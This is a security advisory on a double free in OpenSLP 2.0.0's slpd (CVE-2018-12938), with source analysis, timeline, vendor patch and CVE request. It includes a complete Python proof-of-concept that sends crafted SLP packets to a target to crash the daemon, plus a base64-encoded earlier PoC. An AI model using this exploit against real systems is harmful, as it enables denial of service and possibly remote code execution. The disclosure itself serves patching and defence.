_ _ _ _ _ ___ ___| |___ _| | _| |___ _ _| |_| |___ | _|___ ___ ___ |_ -| | . | . | | . | . | | | . | | -_| | _| _| -_| -_| |___|_| _|___| |___|___|___|___|_|___| |_| |_| |___|___| |_| 2018-06-28 SLPD DOUBLE FREE ================ CVE-2018-12938 & CVE-2017-17833 Update: patch available. see timeline below. An issue was found in openslp-2.0.0 that can be used to induce a double free bug or memory corruption by corrupting glibc's doubly-linked memory chunk list. At the time of writing, no patch has been made available. On line 409 of slpd_process.c, the *sendbuf pointer is copied to result. On line 251, the first reallocation takes place, potentially free()ing the memory if it was moved as part of the reallocation. On line 547, the second reallocation is done, again potentially free()ing the memory if it has to be moved as part of the reallocation, potentially resulting in a double free bug. Code snippets from openslp-2.0.0/slpd/slpd_process.c: 237 static int ProcessDASrvRqst(SLPMessage * message, SLPBuffer * sendbuf, int errorcode) 238 { .. 243 size_t initial_buffer_size = 4096; .. 246 /* Special case for when libslp asks slpd (through the loopback) about 247 * a known DAs. Fill sendbuf with DAAdverts from all known DAs. 248 */ 249 if (SLPNetIsLoopback(&message->peer)) 250 { 251 *sendbuf = SLPBufferRealloc(*sendbuf, initial_buffer_size); <-- first reallocation .. 402 static int ProcessSrvRqst(SLPMessage * message, SLPBuffer * sendbuf, 403 int errorcode) 404 { 405 int i; 406 SLPUrlEntry * urlentry; 407 SLPDDatabaseSrvRqstResult * db = 0; 408 size_t size = 0; 409 SLPBuffer result = *sendbuf; <-- pointer is copied .. 460 /* check to to see if a this is a special SrvRqst */ 461 if (SLPCompareString(message->body.srvrqst.srvtypelen, 462 message->body.srvrqst.srvtype, 23, SLP_DA_SERVICE_TYPE) == 0) 463 { 464 errorcode = ProcessDASrvRqst(message, sendbuf, errorcode); <-- sendbuf passed to function .. 546 /* reallocate the result buffer */ 547 result = SLPBufferRealloc(result, size); <-- second reallocation PROOF OF CONCEPT ================ The following patch can be used to understand the reallocation behavior: diff --git a/common/slp_buffer.c b/common/slp_buffer.c index 1cab3f5..b3e3ff1 100644 --- a/common/slp_buffer.c +++ b/common/slp_buffer.c @@ -104,7 +104,9 @@ SLPBuffer SLPBufferRealloc(SLPBuffer buf, size_t size) /* Allocate one extra byte for null terminating strings that * occupy the last field of the buffer. */ + printf("xrealloc(%p, %u) = ", buf, sizeof(struct _SLPBuffer) + size + 1); result = xrealloc(buf, sizeof(struct _SLPBuffer) + size + 1); + printf(" = %p\n", result); if (result) result->allocated = size; } In order to induce a double-free condition the heap must be massaged such that the reallocation attempts to move memory around. A proof of concept exploit was developed that demonstrates the vulnerability: $ sudo python openslp-2.0.0-double-free-poc.py Proof-of-concept heap massager and double-free trigger for openslp-2.0.0 slpd Run this script before launching slpd [-] Waiting for multicast service request from slpd... [+] Got request! Sending reply to 192.168.245.191 427... [-] Sending first Service Request to 127.0.0.1:427 from 127.0.0.1:53309... [-] Waiting for response... [+] Received 71 bytes from 127.0.0.1:427 [-] Sending packet to (multicast) 239.255.255.253:427 from 192.168.245.191:41965... [+] Got request! Sending reply to 192.168.245.191 41965... [-] Waiting for response from bad-multicast-server.py... [+] Received 71 bytes from 192.168.245.191:427 [-] Connecting to 192.168.245.191:427... [+] Connected. Sending... [-] Sent packet to 192.168.245.191:427 from 192.168.245.191:39914... [+] Done! $ sudo ./slpd/slpd -d -c etc/slp.conf ... xrealloc(0x137ba50, 1449) = = 0x138dd30 xrealloc(0x137ba50, 69) = *** Error in `./slpd/slpd': double free or corruption (fasttop): 0x000000000137ba50 *** As shown in slpd's output prior to crashing, 0x138dd30 is returned when 0x137ba50 is reallocated, thus free()ing 0x137ba50. However, afterwards 0x137ba50 is yet again reallocated, and due to the layout of the heap, free()d a second time, resulting in a double free. EXPLOIT ======= dumpco.re/exploits/openslp-2.0.0-double-free-poc.py: import os import sys import struct import socket targetIp = "192.168.245.194" abuf = ("\x02\x08\xff\xff\xff\x00\x00\x00\x00\x00\x58\x27\x00\x02\x65\x6e" + "\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00") mcastserversock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) mcastserversock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) mcastserversock.bind(('239.255.255.253', 427)) mreq = struct.pack("4sl", socket.inet_aton('239.255.255.253'), socket.INADDR_ANY) mcastserversock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) print "Proof-of-concept heap massager and double-free trigger for openslp-2.0.0 slpd\nRun this script before launching slpd and remember to update targetIp variable." print "[-] Waiting for multicast service request from slpd..." data, addr = mcastserversock.recvfrom(1024) print "[+] Got request! Sending reply to " + addr[0] + " " + str(addr[1]) + "..." mcastserversock.sendto(abuf, (addr[0], addr[1])) localhostsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) localhostsock.bind(('127.0.0.1', 0)) print "[-] Sending first Service Request to 127.0.0.1:427 from 127.0.0.1:" + str(localhostsock.getsockname()[1]) + "..." buf = ("\x02\x01\x00\x00\x31\x00\x00\x00\x00\x00\x66\x0b\x00\x02\x65\x6e" + "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" + "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x00\x00\x00\x00" + "\x00") localhostsock.sendto(buf, ('127.0.0.1', 427)) print "[-] Waiting for response..." data, addr = localhostsock.recvfrom(1024) print "[+] Received " + str(len(data)) + " bytes from " + addr[0] + ":" + str(addr[1]) clientsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) clientsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) clientsock.bind(('0.0.0.0', 0)) print "[-] Sending packet to (multicast) 239.255.255.253:427 from " + targetIp + ":" + str(clientsock.getsockname()[1]) + "..." mreq = struct.pack("4sl", socket.inet_aton('239.255.255.253'), socket.INADDR_ANY) clientsock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) buf = ("\x02\x01\x00\x00\x38\x20\x00\x00\x00\x00\x66\x0c\x00\x02\x65\x6e" + "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" + "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x07\x44\x45\x46" + "\x41\x55\x4c\x54\x00\x00\x00\x00") clientsock.sendto(buf, ('239.255.255.253', 427)) data, addr = mcastserversock.recvfrom(1024) print "[+] Got request! Sending reply to " + addr[0] + " " + str(addr[1]) + "..." mcastserversock.sendto(abuf, (addr[0], addr[1])) clientsock.close() print "[+] Received " + str(len(data)) + " bytes from " + addr[0] + ":" + str(addr[1]) buf = ("\x02\x01\x00\x00\x38\x00\x00\x00\x00\x00\x66\x0d\x00\x02\x65\x6e" + "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" + "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x07\x44\x45\x46" + "\x41\x55\x4c\x54\x00\x00\x00\x00") tcpclientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[-] Connecting to " + targetIp + ":427..." tcpclientsock.connect((targetIp, 427)) print "[+] Connected. Sending..." tcpclientsock.send(buf) print "[-] Sent packet to " + targetIp + ":427 from " + targetIp + ":" + str(tcpclientsock.getsockname()[1]) + "...\n[+] Done!" IMPACT ====== Although not attempted, the issue may be exploitable such that a remote unauthenticated attacker may gain Remote Code Execution, since double frees have been known to be exploitable leading to RCE. As such, this issue may score 'high' on CVSS. TIMELINE ======== 2018-01-22 Discovery (see below for proof) 2018-01-23 Vendor notification 2018-06-28 Public disclosure 2018-06-29 MITRE assigned CVE-ID 2018-06-30 Vendor notifies that issue has already been reported as CVE-2017-17833 and publicly disclosed at least at 2018-04-09. Patch from vendor: https://sourceforge.net/p/openslp/mercurial/ci/151f07745901cbdba6e00e4889561b4083250da1/ No release with patch is available at this point in time AFAIK. REFERENCES ========== - https://nvd.nist.gov/vuln/detail/CVE-2018-12938 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12938 - https://vuldb.com/?id.120078 - https://www.securityfocus.com/bid/104576 - https://access.redhat.com/security/cve/cve-2018-12938 - https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-12938 - https://bugzilla.redhat.com/show_bug.cgi?id=1572166 - https://sourceforge.net/p/openslp/mercurial/ci/151f07745901cbdba6e00e4889561b4083250da1/ - https://support.lenovo.com/dk/en/solutions/len-18247 - https://lists.debian.org/debian-lts-announce/2018/04/msg00029.html - https://seclists.org/fulldisclosure/2018/Jul/15 PATCH FROM VENDOR ================= --- a/openslp/slpd/slpd_process.c +++ b/openslp/slpd/slpd_process.c @@ -462,6 +462,15 @@ message->body.srvrqst.srvtype, 23, SLP_DA_SERVICE_TYPE) == 0) { errorcode = ProcessDASrvRqst(message, sendbuf, errorcode); + + if (result != *sendbuf) + { + // The pointer stored at *sendbuf can be modified by a realloc + // operation in ProcessDASrvRqst(). Fix up the local copy of + // that pointer if necessary. + result = *sendbuf; + } + if (errorcode == 0) { /* Since we have an errorcode of 0, we were successful, PROOF OF DISCOVERY ================== $ cat double-free.py | base64 aW1wb3J0IG9zCmltcG9ydCBzb2NrZXQKaW1wb3J0IHN0cnVjdAppbXBvcnQgc3VicHJvY2VzcwoK bmV3cGlkID0gb3MuZm9yaygpCmlmIG5ld3BpZCA9PSAwOgogICAgcyA9ICIvaG9tZS9tYWdudXMv cHJvamVjdHMvc2xwL2FjdHVhbGx5LXVudG91Y2hlZC9vcGVuc2xwLTIuMC4wL3NscHRvb2wvc2xw dG9vbCBmaW5kc3J2cyBzZXJ2aWNlOm15c2Vydi54IgogICAgc3VicHJvY2Vzcy5jYWxsKHMsIHNo ZWxsPVRydWUpCmVsc2U6CiAgICBwYWNrZXRsZW4gPSJceGZmXHhmZlx4ZmYiCgogICAgYnVmID0g KCJceDAyXHgwOCIgKyBwYWNrZXRsZW4gKyAiXHgwMFx4MDBceDAwXHgwMFx4MDBceDU4XHgyN1x4 MDBceDAyXHg2NVx4NmUiICsKICAgICAgICAgICAiXHgwMFx4MGFceDAwXHgwMFx4MDBceDAwXHgw MFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCIgKwogICAgICAgICAgICJceDAw XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBc eDAwIiArCiAgICAgICAgICAgIlx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiICsKICAgICAgICAgICAiXHgwMFx4MDBceDAwXHgw MFx4MDBceDAwXHgwMCIpCgogICAgTUNBU1RfR1JQID0gJzIzOS4yNTUuMjU1LjI1MycKICAgIE1D QVNUX1BPUlQgPSA0MjcKCiAgICBzb2NrID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwg c29ja2V0LlNPQ0tfREdSQU0sIHNvY2tldC5JUFBST1RPX1VEUCkKICAgIHNvY2suc2V0c29ja29w dChzb2NrZXQuU09MX1NPQ0tFVCwgc29ja2V0LlNPX1JFVVNFQUREUiwgMSkKICAgIHNvY2suYmlu ZCgoTUNBU1RfR1JQLCBNQ0FTVF9QT1JUKSkKICAgIG1yZXEgPSBzdHJ1Y3QucGFjaygiNHNsIiwg c29ja2V0LmluZXRfYXRvbihNQ0FTVF9HUlApLCBzb2NrZXQuSU5BRERSX0FOWSkKICAgIHNvY2su c2V0c29ja29wdChzb2NrZXQuSVBQUk9UT19JUCwgc29ja2V0LklQX0FERF9NRU1CRVJTSElQLCBt cmVxKQoKICAgIGRhdGEsIGFkZHIgPSBzb2NrLnJlY3Zmcm9tKDEwMjQpCgogICAgcHJpbnQgIlNl bmRpbmcgbWFsaWNpb3VzIHJlcGx5IHRvICIgKyBhZGRyWzBdICsgIjoiICsgc3RyKGFkZHJbMV0p CiAgICBzb2NrLnNlbmR0byhidWYsIChhZGRyWzBdLCBhZGRyWzFdKSkKCg== $ sha256sum double-free.py 2b11baf3f83de602f25cc8953eb9305ed442997ea1d2f6578840c258630846a3 double-free.py https://twitter.com/magnusstubman/status/955410317261115392 CVE ASSIGNMENT ============== -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 [Suggested description] slpd_process.c in OpenSLP 2.0.0 has a double free resulting in denial of service (daemon crash) or possibly unauthenticated remote code execution. ------------------------------------------ [Additional Information] A proof of concept exploit has been developed, but due to size constraints of this form it cannot sent. I can provide it over e-mail if needed. I originally reported this issue to the maintainers on 2018-01-23 but they have failed to provide a patch. I am publicly disclosing the issue as soon as a CVE-ID is assigned. Vulnerability: On line 409 of slpd_process.c, the *sendbuf pointer is copied to result. On line 251, the first reallocation takes place, potentially free()ing the memory if it was moved as part of the reallocation. On line 547, the second reallocation is done, again potentially free()ing the memory if it has to be moved as part of the reallocation, potentially resulting in a double free bug. Code snippets from openslp-2.0.0/slpd/slpd_process.c: 237 static int ProcessDASrvRqst(SLPMessage * message, SLPBuffer * sendbuf, int errorcode) 238 { ... 243 size_t initial_buffer_size = 4096; ... 246 /* Special case for when libslp asks slpd (through the loopback) about 247 * a known DAs. Fill sendbuf with DAAdverts from all known DAs. 248 */ 249 if (SLPNetIsLoopback(&message->peer)) 250 { 251 *sendbuf = SLPBufferRealloc(*sendbuf, initial_buffer_size); <-- first reallocation ... 402 static int ProcessSrvRqst(SLPMessage * message, SLPBuffer * sendbuf, 403 int errorcode) 404 { 405 int i; 406 SLPUrlEntry * urlentry; 407 SLPDDatabaseSrvRqstResult * db = 0; 408 size_t size = 0; 409 SLPBuffer result = *sendbuf; <-- pointer is copied ... 460 /* check to to see if a this is a special SrvRqst */ 461 if (SLPCompareString(message->body.srvrqst.srvtypelen, 462 message->body.srvrqst.srvtype, 23, SLP_DA_SERVICE_TYPE) == 0) 463 { 464 errorcode = ProcessDASrvRqst(message, sendbuf, errorcode); <-- sendbuf passed to function ... 546 /* reallocate the result buffer */ 547 result = SLPBufferRealloc(result, size); <-- second reallocation ------------------------------------------ [VulnerabilityType Other] Double free ------------------------------------------ [Vendor of Product] http://www.openslp.org/ ------------------------------------------ [Affected Product Code Base] openslp - 2.0.0 and earlier ------------------------------------------ [Affected Component] openslp-2.0.0/slpd/slpd_process.c ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Denial of Service] true ------------------------------------------ [Attack Vectors] To exploit the vulnerability, a malicious user must send a malformed SLP packet to the target system. ------------------------------------------ [Has vendor confirmed or acknowledged the vulnerability?] true ------------------------------------------ [Discoverer] Magnus Klaaborg Stubman ------------------------------------------ [Reference] https://dumpco.re/blog/openslp-2.0.0-double-free Use CVE-2018-12938. - -- CVE Assignment Team M/S M300, 202 Burlington Road, Bedford, MA 01730 USA [ A PGP key is available for encrypted communications at http://cve.mitre.org/cve/request_id.html ] -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCAAGBQJbNWOrAAoJEA2h+fVryJLoqocP/iwnxfQU+gKSj4HGdxTI6hZt raqOEC4/Pgpg7Ha2tU5jw1STfUnesPk0tDMfwSioTDYQCHWn9wWg2Yg7SIzovH0t wjdI0L//THgMVjnAwZroLcoWGFUCOVu8umjcXO15y0DhllCEoSzjNXKcRKPOA0ix Ej2Pc15umaqNO1HsLnvOOhvp1wMWOXsPNVnC+YrExbIA9FA1+bdUGSDRY4qpcvuh m+ZLzPdlu2WQJDB11TfEYrfEQkbwcOUGgvVY/Gr3zFBvviP8tf69IsKVkGHKdZ3w 6+Ev/GMTWXH0Zg36Oxpxe4jVDmm0gKJr7JmLNB9FhhKMYHIqG8k2pmhGzjDJ7emC P7o/dpuRjXbIw4JWxjju7fDrWP0pbqD9Ezu3jiqfjSFypCFhSCbY+pGZEOS1/Myt MdW7jsfUXZnZXudq1ihttEJMBxbsOdbZo/XnfSF/77AX74dJn1Irsq972iUF5wpK iIlM6dGrBwVO3igmQr6821+F5tJ45GuR9cxUOtNJsUIJ0sULzaiZEspXTbu/hxlt SjKGrqppZm0jt89d8i7ugkhDZCPODU/ELjJtu58Bd5SG5AtF0E80gMIDEOmq6qj2 oyUrmCaRHghHtzwJpYzRwMwjCMRg0XnuJ4YM0NQjiDYXgS6+yh/56t8M/9PLt4Nj AKXh3pI64gZWkAXJexiW =iMrL -----END PGP SIGNATURE-----